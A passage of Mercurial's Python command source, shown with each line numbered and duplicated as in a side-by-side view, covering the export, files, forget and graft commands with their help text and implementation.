2672 The information shown in the changeset header is: author, date,
2672 The information shown in the changeset header is: author, date,
2673 branch name (if non-default), changeset hash, parent(s) and commit
2673 branch name (if non-default), changeset hash, parent(s) and commit
2674 comment.
2674 comment.
2675
2675
2676 .. note::
2676 .. note::
2677
2677
2678 :hg:`export` may generate unexpected diff output for merge
2678 :hg:`export` may generate unexpected diff output for merge
2679 changesets, as it will compare the merge changeset against its
2679 changesets, as it will compare the merge changeset against its
2680 first parent only.
2680 first parent only.
2681
2681
2682 Output may be to a file, in which case the name of the file is
2682 Output may be to a file, in which case the name of the file is
2683 given using a template string. See :hg:`help templates`. In addition
2683 given using a template string. See :hg:`help templates`. In addition
2684 to the common template keywords, the following formatting rules are
2684 to the common template keywords, the following formatting rules are
2685 supported:
2685 supported:
2686
2686
2687 :``%%``: literal "%" character
2687 :``%%``: literal "%" character
2688 :``%H``: changeset hash (40 hexadecimal digits)
2688 :``%H``: changeset hash (40 hexadecimal digits)
2689 :``%N``: number of patches being generated
2689 :``%N``: number of patches being generated
2690 :``%R``: changeset revision number
2690 :``%R``: changeset revision number
2691 :``%b``: basename of the exporting repository
2691 :``%b``: basename of the exporting repository
2692 :``%h``: short-form changeset hash (12 hexadecimal digits)
2692 :``%h``: short-form changeset hash (12 hexadecimal digits)
2693 :``%m``: first line of the commit message (only alphanumeric characters)
2693 :``%m``: first line of the commit message (only alphanumeric characters)
2694 :``%n``: zero-padded sequence number, starting at 1
2694 :``%n``: zero-padded sequence number, starting at 1
2695 :``%r``: zero-padded changeset revision number
2695 :``%r``: zero-padded changeset revision number
2696 :``\\``: literal "\\" character
2696 :``\\``: literal "\\" character
2697
2697
2698 Without the -a/--text option, export will avoid generating diffs
2698 Without the -a/--text option, export will avoid generating diffs
2699 of files it detects as binary. With -a, export will generate a
2699 of files it detects as binary. With -a, export will generate a
2700 diff anyway, probably with undesirable results.
2700 diff anyway, probably with undesirable results.
2701
2701
2702 With -B/--bookmark changesets reachable by the given bookmark are
2702 With -B/--bookmark changesets reachable by the given bookmark are
2703 selected.
2703 selected.
2704
2704
2705 Use the -g/--git option to generate diffs in the git extended diff
2705 Use the -g/--git option to generate diffs in the git extended diff
2706 format. See :hg:`help diffs` for more information.
2706 format. See :hg:`help diffs` for more information.
2707
2707
2708 With the --switch-parent option, the diff will be against the
2708 With the --switch-parent option, the diff will be against the
2709 second parent. It can be useful to review a merge.
2709 second parent. It can be useful to review a merge.
2710
2710
2711 .. container:: verbose
2711 .. container:: verbose
2712
2712
2713 Template:
2713 Template:
2714
2714
2715 The following keywords are supported in addition to the common template
2715 The following keywords are supported in addition to the common template
2716 keywords and functions. See also :hg:`help templates`.
2716 keywords and functions. See also :hg:`help templates`.
2717
2717
2718 :diff: String. Diff content.
2718 :diff: String. Diff content.
2719 :parents: List of strings. Parent nodes of the changeset.
2719 :parents: List of strings. Parent nodes of the changeset.
2720
2720
2721 Examples:
2721 Examples:
2722
2722
2723 - use export and import to transplant a bugfix to the current
2723 - use export and import to transplant a bugfix to the current
2724 branch::
2724 branch::
2725
2725
2726 hg export -r 9353 | hg import -
2726 hg export -r 9353 | hg import -
2727
2727
2728 - export all the changesets between two revisions to a file with
2728 - export all the changesets between two revisions to a file with
2729 rename information::
2729 rename information::
2730
2730
2731 hg export --git -r 123:150 > changes.txt
2731 hg export --git -r 123:150 > changes.txt
2732
2732
2733 - split outgoing changes into a series of patches with
2733 - split outgoing changes into a series of patches with
2734 descriptive names::
2734 descriptive names::
2735
2735
2736 hg export -r "outgoing()" -o "%n-%m.patch"
2736 hg export -r "outgoing()" -o "%n-%m.patch"
2737
2737
2738 Returns 0 on success.
2738 Returns 0 on success.
2739 """
2739 """
2740 opts = pycompat.byteskwargs(opts)
2740 opts = pycompat.byteskwargs(opts)
2741 bookmark = opts.get(b'bookmark')
2741 bookmark = opts.get(b'bookmark')
2742 changesets += tuple(opts.get(b'rev', []))
2742 changesets += tuple(opts.get(b'rev', []))
2743
2743
2744 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2744 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2745
2745
2746 if bookmark:
2746 if bookmark:
2747 if bookmark not in repo._bookmarks:
2747 if bookmark not in repo._bookmarks:
2748 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2748 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2749
2749
2750 revs = scmutil.bookmarkrevs(repo, bookmark)
2750 revs = scmutil.bookmarkrevs(repo, bookmark)
2751 else:
2751 else:
2752 if not changesets:
2752 if not changesets:
2753 changesets = [b'.']
2753 changesets = [b'.']
2754
2754
2755 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2755 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2756 revs = logcmdutil.revrange(repo, changesets)
2756 revs = logcmdutil.revrange(repo, changesets)
2757
2757
2758 if not revs:
2758 if not revs:
2759 raise error.InputError(_(b"export requires at least one changeset"))
2759 raise error.InputError(_(b"export requires at least one changeset"))
2760 if len(revs) > 1:
2760 if len(revs) > 1:
2761 ui.note(_(b'exporting patches:\n'))
2761 ui.note(_(b'exporting patches:\n'))
2762 else:
2762 else:
2763 ui.note(_(b'exporting patch:\n'))
2763 ui.note(_(b'exporting patch:\n'))
2764
2764
2765 fntemplate = opts.get(b'output')
2765 fntemplate = opts.get(b'output')
2766 if cmdutil.isstdiofilename(fntemplate):
2766 if cmdutil.isstdiofilename(fntemplate):
2767 fntemplate = b''
2767 fntemplate = b''
2768
2768
2769 if fntemplate:
2769 if fntemplate:
2770 fm = formatter.nullformatter(ui, b'export', opts)
2770 fm = formatter.nullformatter(ui, b'export', opts)
2771 else:
2771 else:
2772 ui.pager(b'export')
2772 ui.pager(b'export')
2773 fm = ui.formatter(b'export', opts)
2773 fm = ui.formatter(b'export', opts)
2774 with fm:
2774 with fm:
2775 cmdutil.export(
2775 cmdutil.export(
2776 repo,
2776 repo,
2777 revs,
2777 revs,
2778 fm,
2778 fm,
2779 fntemplate=fntemplate,
2779 fntemplate=fntemplate,
2780 switch_parent=opts.get(b'switch_parent'),
2780 switch_parent=opts.get(b'switch_parent'),
2781 opts=patch.diffallopts(ui, opts),
2781 opts=patch.diffallopts(ui, opts),
2782 )
2782 )
2783
2783
2784
2784
2785 @command(
2785 @command(
2786 b'files',
2786 b'files',
2787 [
2787 [
2788 (
2788 (
2789 b'r',
2789 b'r',
2790 b'rev',
2790 b'rev',
2791 b'',
2791 b'',
2792 _(b'search the repository as it is in REV'),
2792 _(b'search the repository as it is in REV'),
2793 _(b'REV'),
2793 _(b'REV'),
2794 ),
2794 ),
2795 (
2795 (
2796 b'0',
2796 b'0',
2797 b'print0',
2797 b'print0',
2798 None,
2798 None,
2799 _(b'end filenames with NUL, for use with xargs'),
2799 _(b'end filenames with NUL, for use with xargs'),
2800 ),
2800 ),
2801 ]
2801 ]
2802 + walkopts
2802 + walkopts
2803 + formatteropts
2803 + formatteropts
2804 + subrepoopts,
2804 + subrepoopts,
2805 _(b'[OPTION]... [FILE]...'),
2805 _(b'[OPTION]... [FILE]...'),
2806 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2806 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2807 intents={INTENT_READONLY},
2807 intents={INTENT_READONLY},
2808 )
2808 )
2809 def files(ui, repo, *pats, **opts):
2809 def files(ui, repo, *pats, **opts):
2810 """list tracked files
2810 """list tracked files
2811
2811
2812 Print files under Mercurial control in the working directory or
2812 Print files under Mercurial control in the working directory or
2813 specified revision for given files (excluding removed files).
2813 specified revision for given files (excluding removed files).
2814 Files can be specified as filenames or filesets.
2814 Files can be specified as filenames or filesets.
2815
2815
2816 If no files are given to match, this command prints the names
2816 If no files are given to match, this command prints the names
2817 of all files under Mercurial control.
2817 of all files under Mercurial control.
2818
2818
2819 .. container:: verbose
2819 .. container:: verbose
2820
2820
2821 Template:
2821 Template:
2822
2822
2823 The following keywords are supported in addition to the common template
2823 The following keywords are supported in addition to the common template
2824 keywords and functions. See also :hg:`help templates`.
2824 keywords and functions. See also :hg:`help templates`.
2825
2825
2826 :flags: String. Character denoting file's symlink and executable bits.
2826 :flags: String. Character denoting file's symlink and executable bits.
2827 :path: String. Repository-absolute path of the file.
2827 :path: String. Repository-absolute path of the file.
2828 :size: Integer. Size of the file in bytes.
2828 :size: Integer. Size of the file in bytes.
2829
2829
2830 Examples:
2830 Examples:
2831
2831
2832 - list all files under the current directory::
2832 - list all files under the current directory::
2833
2833
2834 hg files .
2834 hg files .
2835
2835
2836 - shows sizes and flags for current revision::
2836 - shows sizes and flags for current revision::
2837
2837
2838 hg files -vr .
2838 hg files -vr .
2839
2839
2840 - list all files named README::
2840 - list all files named README::
2841
2841
2842 hg files -I "**/README"
2842 hg files -I "**/README"
2843
2843
2844 - list all binary files::
2844 - list all binary files::
2845
2845
2846 hg files "set:binary()"
2846 hg files "set:binary()"
2847
2847
2848 - find files containing a regular expression::
2848 - find files containing a regular expression::
2849
2849
2850 hg files "set:grep('bob')"
2850 hg files "set:grep('bob')"
2851
2851
2852 - search tracked file contents with xargs and grep::
2852 - search tracked file contents with xargs and grep::
2853
2853
2854 hg files -0 | xargs -0 grep foo
2854 hg files -0 | xargs -0 grep foo
2855
2855
2856 See :hg:`help patterns` and :hg:`help filesets` for more information
2856 See :hg:`help patterns` and :hg:`help filesets` for more information
2857 on specifying file patterns.
2857 on specifying file patterns.
2858
2858
2859 Returns 0 if a match is found, 1 otherwise.
2859 Returns 0 if a match is found, 1 otherwise.
2860
2860
2861 """
2861 """
2862
2862
2863 opts = pycompat.byteskwargs(opts)
2863 opts = pycompat.byteskwargs(opts)
2864 rev = opts.get(b'rev')
2864 rev = opts.get(b'rev')
2865 if rev:
2865 if rev:
2866 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2866 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2867 ctx = logcmdutil.revsingle(repo, rev, None)
2867 ctx = logcmdutil.revsingle(repo, rev, None)
2868
2868
2869 end = b'\n'
2869 end = b'\n'
2870 if opts.get(b'print0'):
2870 if opts.get(b'print0'):
2871 end = b'\0'
2871 end = b'\0'
2872 fmt = b'%s' + end
2872 fmt = b'%s' + end
2873
2873
2874 m = scmutil.match(ctx, pats, opts)
2874 m = scmutil.match(ctx, pats, opts)
2875 ui.pager(b'files')
2875 ui.pager(b'files')
2876 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2876 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2877 with ui.formatter(b'files', opts) as fm:
2877 with ui.formatter(b'files', opts) as fm:
2878 return cmdutil.files(
2878 return cmdutil.files(
2879 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2879 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2880 )
2880 )
2881
2881
2882
2882
2883 @command(
2883 @command(
2884 b'forget',
2884 b'forget',
2885 [
2885 [
2886 (b'i', b'interactive', None, _(b'use interactive mode')),
2886 (b'i', b'interactive', None, _(b'use interactive mode')),
2887 ]
2887 ]
2888 + walkopts
2888 + walkopts
2889 + dryrunopts,
2889 + dryrunopts,
2890 _(b'[OPTION]... FILE...'),
2890 _(b'[OPTION]... FILE...'),
2891 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2891 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2892 helpbasic=True,
2892 helpbasic=True,
2893 inferrepo=True,
2893 inferrepo=True,
2894 )
2894 )
2895 def forget(ui, repo, *pats, **opts):
2895 def forget(ui, repo, *pats, **opts):
2896 """forget the specified files on the next commit
2896 """forget the specified files on the next commit
2897
2897
2898 Mark the specified files so they will no longer be tracked
2898 Mark the specified files so they will no longer be tracked
2899 after the next commit.
2899 after the next commit.
2900
2900
2901 This only removes files from the current branch, not from the
2901 This only removes files from the current branch, not from the
2902 entire project history, and it does not delete them from the
2902 entire project history, and it does not delete them from the
2903 working directory.
2903 working directory.
2904
2904
2905 To delete the file from the working directory, see :hg:`remove`.
2905 To delete the file from the working directory, see :hg:`remove`.
2906
2906
2907 To undo a forget before the next commit, see :hg:`add`.
2907 To undo a forget before the next commit, see :hg:`add`.
2908
2908
2909 .. container:: verbose
2909 .. container:: verbose
2910
2910
2911 Examples:
2911 Examples:
2912
2912
2913 - forget newly-added binary files::
2913 - forget newly-added binary files::
2914
2914
2915 hg forget "set:added() and binary()"
2915 hg forget "set:added() and binary()"
2916
2916
2917 - forget files that would be excluded by .hgignore::
2917 - forget files that would be excluded by .hgignore::
2918
2918
2919 hg forget "set:hgignore()"
2919 hg forget "set:hgignore()"
2920
2920
2921 Returns 0 on success.
2921 Returns 0 on success.
2922 """
2922 """
2923
2923
2924 opts = pycompat.byteskwargs(opts)
2924 opts = pycompat.byteskwargs(opts)
2925 if not pats:
2925 if not pats:
2926 raise error.InputError(_(b'no files specified'))
2926 raise error.InputError(_(b'no files specified'))
2927
2927
2928 m = scmutil.match(repo[None], pats, opts)
2928 m = scmutil.match(repo[None], pats, opts)
2929 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2929 dryrun, interactive = opts.get(b'dry_run'), opts.get(b'interactive')
2930 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2930 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
2931 rejected = cmdutil.forget(
2931 rejected = cmdutil.forget(
2932 ui,
2932 ui,
2933 repo,
2933 repo,
2934 m,
2934 m,
2935 prefix=b"",
2935 prefix=b"",
2936 uipathfn=uipathfn,
2936 uipathfn=uipathfn,
2937 explicitonly=False,
2937 explicitonly=False,
2938 dryrun=dryrun,
2938 dryrun=dryrun,
2939 interactive=interactive,
2939 interactive=interactive,
2940 )[0]
2940 )[0]
2941 return rejected and 1 or 0
2941 return rejected and 1 or 0
2942
2942
2943
2943
2944 @command(
2944 @command(
2945 b'graft',
2945 b'graft',
2946 [
2946 [
2947 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2947 (b'r', b'rev', [], _(b'revisions to graft'), _(b'REV')),
2948 (
2948 (
2949 b'',
2949 b'',
2950 b'base',
2950 b'base',
2951 b'',
2951 b'',
2952 _(b'base revision when doing the graft merge (ADVANCED)'),
2952 _(b'base revision when doing the graft merge (ADVANCED)'),
2953 _(b'REV'),
2953 _(b'REV'),
2954 ),
2954 ),
2955 (b'c', b'continue', False, _(b'resume interrupted graft')),
2955 (b'c', b'continue', False, _(b'resume interrupted graft')),
2956 (b'', b'stop', False, _(b'stop interrupted graft')),
2956 (b'', b'stop', False, _(b'stop interrupted graft')),
2957 (b'', b'abort', False, _(b'abort interrupted graft')),
2957 (b'', b'abort', False, _(b'abort interrupted graft')),
2958 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2958 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
2959 (b'', b'log', None, _(b'append graft info to log message')),
2959 (b'', b'log', None, _(b'append graft info to log message')),
2960 (
2960 (
2961 b'',
2961 b'',
2962 b'no-commit',
2962 b'no-commit',
2963 None,
2963 None,
2964 _(b"don't commit, just apply the changes in working directory"),
2964 _(b"don't commit, just apply the changes in working directory"),
2965 ),
2965 ),
2966 (b'f', b'force', False, _(b'force graft')),
2966 (b'f', b'force', False, _(b'force graft')),
2967 (
2967 (
2968 b'D',
2968 b'D',
2969 b'currentdate',
2969 b'currentdate',
2970 False,
2970 False,
2971 _(b'record the current date as commit date'),
2971 _(b'record the current date as commit date'),
2972 ),
2972 ),
2973 (
2973 (
2974 b'U',
2974 b'U',
2975 b'currentuser',
2975 b'currentuser',
2976 False,
2976 False,
2977 _(b'record the current user as committer'),
2977 _(b'record the current user as committer'),
2978 ),
2978 ),
2979 ]
2979 ]
2980 + commitopts2
2980 + commitopts2
2981 + mergetoolopts
2981 + mergetoolopts
2982 + dryrunopts,
2982 + dryrunopts,
2983 _(b'[OPTION]... [-r REV]... REV...'),
2983 _(b'[OPTION]... [-r REV]... REV...'),
2984 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2984 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2985 )
2985 )
2986 def graft(ui, repo, *revs, **opts):
2986 def graft(ui, repo, *revs, **opts):
2987 """copy changes from other branches onto the current branch
2987 """copy changes from other branches onto the current branch
2988
2988
2989 This command uses Mercurial's merge logic to copy individual
2989 This command uses Mercurial's merge logic to copy individual
2990 changes from other branches without merging branches in the
2990 changes from other branches without merging branches in the
2991 history graph. This is sometimes known as 'backporting' or
2991 history graph. This is sometimes known as 'backporting' or
2992 'cherry-picking'. By default, graft will copy user, date, and
2992 'cherry-picking'. By default, graft will copy user, date, and
2993 description from the source changesets.
2993 description from the source changesets.
2994
2994
2995 Changesets that are ancestors of the current revision, that have
2995 Changesets that are ancestors of the current revision, that have
2996 already been grafted, or that are merges will be skipped.
2996 already been grafted, or that are merges will be skipped.
2997
2997
2998 If --log is specified, log messages will have a comment appended
2998 If --log is specified, log messages will have a comment appended
2999 of the form::
2999 of the form::
3000
3000
3001 (grafted from CHANGESETHASH)
3001 (grafted from CHANGESETHASH)
3002
3002
3003 If --force is specified, revisions will be grafted even if they
3003 If --force is specified, revisions will be grafted even if they
3004 are already ancestors of, or have been grafted to, the destination.
3004 are already ancestors of, or have been grafted to, the destination.
3005 This is useful when the revisions have since been backed out.
3005 This is useful when the revisions have since been backed out.
3006
3006
3007 If a graft merge results in conflicts, the graft process is
3007 If a graft merge results in conflicts, the graft process is
3008 interrupted so that the current merge can be manually resolved.
3008 interrupted so that the current merge can be manually resolved.
3009 Once all conflicts are addressed, the graft process can be
3009 Once all conflicts are addressed, the graft process can be
3010 continued with the -c/--continue option.
3010 continued with the -c/--continue option.
3011
3011
3012 The -c/--continue option reapplies all the earlier options.
3012 The -c/--continue option reapplies all the earlier options.
3013
3013
3014 .. container:: verbose
3014 .. container:: verbose
3015
3015
3016 The --base option exposes more of how graft internally uses merge with a
3016 The --base option exposes more of how graft internally uses merge with a
3017 custom base revision. --base can be used to specify another ancestor than
3017 custom base revision. --base can be used to specify another ancestor than
3018 the first and only parent.
3018 the first and only parent.
3019
3019
3020 The command::
3020 The command::
3021
3021
3022 hg graft -r 345 --base 234
3022 hg graft -r 345 --base 234
3023
3023
3024 is thus pretty much the same as::
3024 is thus pretty much the same as::
3025
3025
3026 hg diff --from 234 --to 345 | hg import
3026 hg diff --from 234 --to 345 | hg import
3027
3027
3028 but using merge to resolve conflicts and track moved files.
3028 but using merge to resolve conflicts and track moved files.
3029
3029
3030 The result of a merge can thus be backported as a single commit by
3030 The result of a merge can thus be backported as a single commit by
3031 specifying one of the merge parents as base, and thus effectively
3031 specifying one of the merge parents as base, and thus effectively
3032 grafting the changes from the other side.
3032 grafting the changes from the other side.
3033
3033
3034 It is also possible to collapse multiple changesets and clean up history
3034 It is also possible to collapse multiple changesets and clean up history
3035 by specifying another ancestor as base, much like rebase --collapse
3035 by specifying another ancestor as base, much like rebase --collapse
3036 --keep.
3036 --keep.
3037
3037
3038 The commit message can be tweaked after the fact using commit --amend .
3038 The commit message can be tweaked after the fact using commit --amend .
3039
3039
3040 For using non-ancestors as the base to backout changes, see the backout
3040 For using non-ancestors as the base to backout changes, see the backout
3041 command and the hidden --parent option.
3041 command and the hidden --parent option.
3042
3042
3043 .. container:: verbose
3043 .. container:: verbose
3044
3044
3045 Examples:
3045 Examples:
3046
3046
3047 - copy a single change to the stable branch and edit its description::
3047 - copy a single change to the stable branch and edit its description::
3048
3048
3049 hg update stable
3049 hg update stable
3050 hg graft --edit 9393
3050 hg graft --edit 9393
3051
3051
3052 - graft a range of changesets with one exception, updating dates::
3052 - graft a range of changesets with one exception, updating dates::
3053
3053
3054 hg graft -D "2085::2093 and not 2091"
3054 hg graft -D "2085::2093 and not 2091"
3055
3055
3056 - continue a graft after resolving conflicts::
3056 - continue a graft after resolving conflicts::
3057
3057
3058 hg graft -c
3058 hg graft -c
3059
3059
3060 - show the source of a grafted changeset::
3060 - show the source of a grafted changeset::
3061
3061
3062 hg log --debug -r .
3062 hg log --debug -r .
3063
3063
3064 - show revisions sorted by date::
3064 - show revisions sorted by date::
3065
3065
3066 hg log -r "sort(all(), date)"
3066 hg log -r "sort(all(), date)"
3067
3067
3068 - backport the result of a merge as a single commit::
3068 - backport the result of a merge as a single commit::
3069
3069
3070 hg graft -r 123 --base 123^
3070 hg graft -r 123 --base 123^
3071
3071
3072 - land a feature branch as one changeset::
3072 - land a feature branch as one changeset::
3073
3073
3074 hg up -cr default
3074 hg up -cr default
3075 hg graft -r featureX --base "ancestor('featureX', 'default')"
3075 hg graft -r featureX --base "ancestor('featureX', 'default')"
3076
3076
3077 See :hg:`help revisions` for more about specifying revisions.
3077 See :hg:`help revisions` for more about specifying revisions.
3078
3078
3079 Returns 0 on successful completion, 1 if there are unresolved files.
3079 Returns 0 on successful completion, 1 if there are unresolved files.
3080 """
3080 """
3081 with repo.wlock():
3081 with repo.wlock():
3082 return _dograft(ui, repo, *revs, **opts)
3082 return _dograft(ui, repo, *revs, **opts)
3083
3083
3084
3084
3085 def _dograft(ui, repo, *revs, **opts):
3085 def _dograft(ui, repo, *revs, **opts):
3086 if revs and opts.get('rev'):
3086 if revs and opts.get('rev'):
3087 ui.warn(
3087 ui.warn(
3088 _(
3088 _(
3089 b'warning: inconsistent use of --rev might give unexpected '
3089 b'warning: inconsistent use of --rev might give unexpected '
3090 b'revision ordering!\n'
3090 b'revision ordering!\n'
3091 )
3091 )
3092 )
3092 )
3093
3093
3094 revs = list(revs)
3094 revs = list(revs)
3095 revs.extend(opts.get('rev'))
3095 revs.extend(opts.get('rev'))
3096 # a dict of data to be stored in state file
3096 # a dict of data to be stored in state file
3097 statedata = {}
3097 statedata = {}
3098 # list of new nodes created by ongoing graft
3098 # list of new nodes created by ongoing graft
3099 statedata[b'newnodes'] = []
3099 statedata[b'newnodes'] = []
3100
3100
3101 cmdutil.resolve_commit_options(ui, opts)
3101 cmdutil.resolve_commit_options(ui, opts)
3102
3102
3103 editor = cmdutil.getcommiteditor(editform=b'graft', **opts)
3103 editor = cmdutil.getcommiteditor(editform=b'graft', **opts)
3104
3104
3105 cmdutil.check_at_most_one_arg(opts, 'abort', 'stop', 'continue')
3105 cmdutil.check_at_most_one_arg(opts, 'abort', 'stop', 'continue')
3106
3106
3107 cont = False
3107 cont = False
3108 if opts.get('no_commit'):
3108 if opts.get('no_commit'):
3109 cmdutil.check_incompatible_arguments(
3109 cmdutil.check_incompatible_arguments(
3110 opts,
3110 opts,
3111 'no_commit',
3111 'no_commit',
3112 ['edit', 'currentuser', 'currentdate', 'log'],
3112 ['edit', 'currentuser', 'currentdate', 'log'],
3113 )
3113 )
3114
3114
3115 graftstate = statemod.cmdstate(repo, b'graftstate')
3115 graftstate = statemod.cmdstate(repo, b'graftstate')
3116
3116
3117 if opts.get('stop'):
3117 if opts.get('stop'):
3118 cmdutil.check_incompatible_arguments(
3118 cmdutil.check_incompatible_arguments(
3119 opts,
3119 opts,
3120 'stop',
3120 'stop',
3121 [
3121 [
3122 'edit',
3122 'edit',
3123 'log',
3123 'log',
3124 'user',
3124 'user',
3125 'date',
3125 'date',
3126 'currentdate',
3126 'currentdate',
3127 'currentuser',
3127 'currentuser',
3128 'rev',
3128 'rev',
3129 ],
3129 ],
3130 )
3130 )
3131 return _stopgraft(ui, repo, graftstate)
3131 return _stopgraft(ui, repo, graftstate)
3132 elif opts.get('abort'):
3132 elif opts.get('abort'):
3133 cmdutil.check_incompatible_arguments(
3133 cmdutil.check_incompatible_arguments(
3134 opts,
3134 opts,
3135 'abort',
3135 'abort',
3136 [
3136 [
3137 'edit',
3137 'edit',
3138 'log',
3138 'log',
3139 'user',
3139 'user',
3140 'date',
3140 'date',
3141 'currentdate',
3141 'currentdate',
3142 'currentuser',
3142 'currentuser',
3143 'rev',
3143 'rev',
3144 ],
3144 ],
3145 )
3145 )
3146 return cmdutil.abortgraft(ui, repo, graftstate)
3146 return cmdutil.abortgraft(ui, repo, graftstate)
3147 elif opts.get('continue'):
3147 elif opts.get('continue'):
3148 cont = True
3148 cont = True
3149 if revs:
3149 if revs:
3150 raise error.InputError(_(b"can't specify --continue and revisions"))
3150 raise error.InputError(_(b"can't specify --continue and revisions"))
3151 # read in unfinished revisions
3151 # read in unfinished revisions
3152 if graftstate.exists():
3152 if graftstate.exists():
3153 statedata = cmdutil.readgraftstate(repo, graftstate)
3153 statedata = cmdutil.readgraftstate(repo, graftstate)
3154 if statedata.get(b'date'):
3154 if statedata.get(b'date'):
3155 opts['date'] = statedata[b'date']
3155 opts['date'] = statedata[b'date']
3156 if statedata.get(b'user'):
3156 if statedata.get(b'user'):
3157 opts['user'] = statedata[b'user']
3157 opts['user'] = statedata[b'user']
3158 if statedata.get(b'log'):
3158 if statedata.get(b'log'):
3159 opts['log'] = True
3159 opts['log'] = True
3160 if statedata.get(b'no_commit'):
3160 if statedata.get(b'no_commit'):
3161 opts['no_commit'] = statedata.get(b'no_commit')
3161 opts['no_commit'] = statedata.get(b'no_commit')
3162 if statedata.get(b'base'):
3162 if statedata.get(b'base'):
3163 opts['base'] = statedata.get(b'base')
3163 opts['base'] = statedata.get(b'base')
3164 nodes = statedata[b'nodes']
3164 nodes = statedata[b'nodes']
3165 revs = [repo[node].rev() for node in nodes]
3165 revs = [repo[node].rev() for node in nodes]
3166 else:
3166 else:
3167 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3167 cmdutil.wrongtooltocontinue(repo, _(b'graft'))
3168 else:
3168 else:
3169 if not revs:
3169 if not revs:
3170 raise error.InputError(_(b'no revisions specified'))
3170 raise error.InputError(_(b'no revisions specified'))
3171 cmdutil.checkunfinished(repo)
3171 cmdutil.checkunfinished(repo)
3172 cmdutil.bailifchanged(repo)
3172 cmdutil.bailifchanged(repo)
3173 revs = logcmdutil.revrange(repo, revs)
3173 revs = logcmdutil.revrange(repo, revs)
3174
3174
3175 skipped = set()
3175 skipped = set()
3176 basectx = None
3176 basectx = None
3177 if opts.get('base'):
3177 if opts.get('base'):
3178 basectx = logcmdutil.revsingle(repo, opts['base'], None)
3178 basectx = logcmdutil.revsingle(repo, opts['base'], None)
3179 if basectx is None:
3179 if basectx is None:
3180 # check for merges
3180 # check for merges
3181 for rev in repo.revs(b'%ld and merge()', revs):
3181 for rev in repo.revs(b'%ld and merge()', revs):
3182 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3182 ui.warn(_(b'skipping ungraftable merge revision %d\n') % rev)
3183 skipped.add(rev)
3183 skipped.add(rev)
3184 revs = [r for r in revs if r not in skipped]
3184 revs = [r for r in revs if r not in skipped]
3185 if not revs:
3185 if not revs:
3186 return -1
3186 return -1
3187 if basectx is not None and len(revs) != 1:
3187 if basectx is not None and len(revs) != 1:
3188 raise error.InputError(_(b'only one revision allowed with --base '))
3188 raise error.InputError(_(b'only one revision allowed with --base '))
3189
3189
3190 # Don't check in the --continue case, in effect retaining --force across
3190 # Don't check in the --continue case, in effect retaining --force across
3191 # --continues. That's because without --force, any revisions we decided to
3191 # --continues. That's because without --force, any revisions we decided to
3192 # skip would have been filtered out here, so they wouldn't have made their
3192 # skip would have been filtered out here, so they wouldn't have made their
3193 # way to the graftstate. With --force, any revisions we would have otherwise
3193 # way to the graftstate. With --force, any revisions we would have otherwise
3194 # skipped would not have been filtered out, and if they hadn't been applied
3194 # skipped would not have been filtered out, and if they hadn't been applied
3195 # already, they'd have been in the graftstate.
3195 # already, they'd have been in the graftstate.
3196 if not (cont or opts.get('force')) and basectx is None:
3196 if not (cont or opts.get('force')) and basectx is None:
3197 # check for ancestors of dest branch
3197 # check for ancestors of dest branch
3198 ancestors = repo.revs(b'%ld & (::.)', revs)
3198 ancestors = repo.revs(b'%ld & (::.)', revs)
3199 for rev in ancestors:
3199 for rev in ancestors:
3200 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3200 ui.warn(_(b'skipping ancestor revision %d:%s\n') % (rev, repo[rev]))
3201
3201
3202 revs = [r for r in revs if r not in ancestors]
3202 revs = [r for r in revs if r not in ancestors]
3203
3203
3204 if not revs:
3204 if not revs:
3205 return -1
3205 return -1
3206
3206
3207 # analyze revs for earlier grafts
3207 # analyze revs for earlier grafts
3208 ids = {}
3208 ids = {}
3209 for ctx in repo.set(b"%ld", revs):
3209 for ctx in repo.set(b"%ld", revs):
3210 ids[ctx.hex()] = ctx.rev()
3210 ids[ctx.hex()] = ctx.rev()
3211 n = ctx.extra().get(b'source')
3211 n = ctx.extra().get(b'source')
3212 if n:
3212 if n:
3213 ids[n] = ctx.rev()
3213 ids[n] = ctx.rev()
3214
3214
3215 # check ancestors for earlier grafts
3215 # check ancestors for earlier grafts
3216 ui.debug(b'scanning for duplicate grafts\n')
3216 ui.debug(b'scanning for duplicate grafts\n')
3217
3217
3218 # The only changesets we can be sure doesn't contain grafts of any
3218 # The only changesets we can be sure doesn't contain grafts of any
3219 # revs, are the ones that are common ancestors of *all* revs:
3219 # revs, are the ones that are common ancestors of *all* revs:
3220 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3220 for rev in repo.revs(b'only(%d,ancestor(%ld))', repo[b'.'].rev(), revs):
3221 ctx = repo[rev]
3221 ctx = repo[rev]
3222 n = ctx.extra().get(b'source')
3222 n = ctx.extra().get(b'source')
3223 if n in ids:
3223 if n in ids:
3224 try:
3224 try:
3225 r = repo[n].rev()
3225 r = repo[n].rev()
3226 except error.RepoLookupError:
3226 except error.RepoLookupError:
3227 r = None
3227 r = None
3228 if r in revs:
3228 if r in revs:
3229 ui.warn(
3229 ui.warn(
3230 _(
3230 _(
